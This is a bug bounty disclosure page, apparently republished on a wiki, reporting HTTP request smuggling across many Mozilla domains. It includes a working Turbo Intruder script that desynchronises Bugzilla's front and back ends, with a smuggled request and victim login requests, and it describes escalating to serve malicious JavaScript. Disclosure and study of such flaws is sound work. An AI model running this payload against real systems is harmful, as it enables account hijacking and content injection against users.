HTTP Request Smuggling across Mozilla web infrastructure
Mozilla's web infrastructure was vulnerable to HTTP request smuggling because frontend and backend servers disagreed on how to parse a Transfer-Encoding header, allowing an attacker to desynchronise connections and potentially hijack user accounts or serve malicious content.
Originally disclosed on Mozilla
- Fixed in 2 months
- Paid in 3 months
- Disclosed after 2 months
Hi,
The technique used in this report is part of ongoing research pending publication at Black Hat in August. Please don't share or publish it in the meantime. In particular, please don't make this bug public without my consent like you did with my last report.
I've found that a substantial portion of Mozilla's web infrastructure is vulnerable to HTTP request smuggling. This can typically be used by attackers to hijack arbitrary user accounts with zero-user interaction - it's roughly equivalent to persistent XSS on every page.
This vulnerability occurs because the backend servers regard
Foo: bar\nTransfer-Encoding: chunked
as two separate headers, whereas the frontends regard it as one header and therefore use the content-length header instead. This means it's possible to send an ambiguous request which gets interpreted differently by each of the two servers and desynchronizes them, leading to TCP socket poisoning.
A cursory scan indicates that this issue potentially affects the following domains:
`bugzilla.mozilla.org, support.mozilla.org, addons.mozilla.org, thimble.mozilla.org, science.mozilla.org, discource.mozilla.org, donate.mozilla.org, download.mozilla.org, crash-stats.mozilla.org, sql.telemetry.mozilla.org, http-observatory.security.mozilla.org, symbolapi.mozilla.org, click.e.mozilla.org, symbols.mozilla.org, missioncontrol.telemetry.mozilla.org, learning.mozilla.org, elmo.services.mozilla.com, crash-stats.mozilla.com, webextensions.settings.services.mozilla.com, phabricator.services.mozilla.com, testpilot.r53-2.mozilla.com, testpilot.settings.services.mozilla.com, color.r53-2.services.mozilla.com, search.r53-2.services.mozilla.com`
For obvious reasons I haven't bothered to try and exploit every one of these services. Instead, I've focused on bugzilla.mozilla.org as an example critical target.
To avoid affecting real users we'll target bugzilla-dev.allizom.org. To easily replicate the core issue, run the following script in turbo intruder:
'''
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint='https://bugzilla-dev.allizom.org:443',
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0
)
engine.start()
attack = '''POST /home HTTP/1.1
Fooz: bar
Transfer-Encoding: chunked
Host: bugzilla-dev.allizom.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Foo: bar
0
GET /robots.txt HTTP/1.1
X-Ignore: X'''
victim = '''POST /index.cgi HTTP/1.1
Host: bugzilla-dev.allizom.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://bugzilla-dev.allizom.org/home
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Connection: close
Cookie: Bugzilla_login_request_cookie=2lcwXqRJq6; github_secret=faEb99ZsQriC3xBH1PETUck6KZWTmly7DxnsqRJperIpet9H6zGyGX7d4kMddULJJO5cA9hVfulDOL1Zajv9u1Ap7COolDpPUVeJafOyqRWDq6eyyFAneUwYoHjey2h2f4fTqFhiBcs5NZVCoJgerziuRqc1UfrZe6vzee30mMCeU2K3FShhgZWtK8qgzRHfGX0E3DksxPLyevRuNVSiLNfSPJTEiFDSyc31EInyHF4GShmpUCQD99pLGkr4PIZE
Upgrade-Insecure-Requests: 1
Bugzilla_login=test%40example.com&Bugzilla_password=cow&Bugzilla_remember=on&Bugzilla_login_token=&GoAheadAndLogIn=Log+in'''
for i in range(14):
engine.queue(victim)
time.sleep(0.1)
def handleResponse(req, interesting):
table.add(req)
'''
You should observe that one of the 'victim' login requests gets the robots.txt response, thanks to the smuggled request inside the attack. This response will potentially get served up to any active user.
By amending the smuggled request, the attacker can make the response content originate from a malicious bug attachment, and effectively gain the ability to serve malicious HTML/JavaScript to everyone using the application. This is a quite fiddly - I'll provide the steps in a followup comment.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the front-end and back-end servers parse the Transfer-Encoding header differently when it appears after another header on the same line, causing request desynchronisation.
Impact
An attacker could potentially hijack arbitrary user accounts with zero user interaction, roughly equivalent to persistent XSS on every page, though the report notes exploiting this fully is fiddly.
What the attacker needed
Network access to the target; ability to send crafted HTTP requests
How it was found
- Send a crafted request with an ambiguous Transfer-Encoding header to the target.
- Follow it with a smuggled request that will be prepended to the next user's request.
- Send a victim request on the same connection to observe the smuggled response.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you visit a website, your request passes through a front-end server and then a back-end server. If these two servers interpret the same request differently, an attacker can sneak in a second hidden request that the back-end processes as if it came from another user. This can let the attacker take over accounts or inject malicious content.
What is Smuggling / CRLF?
A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.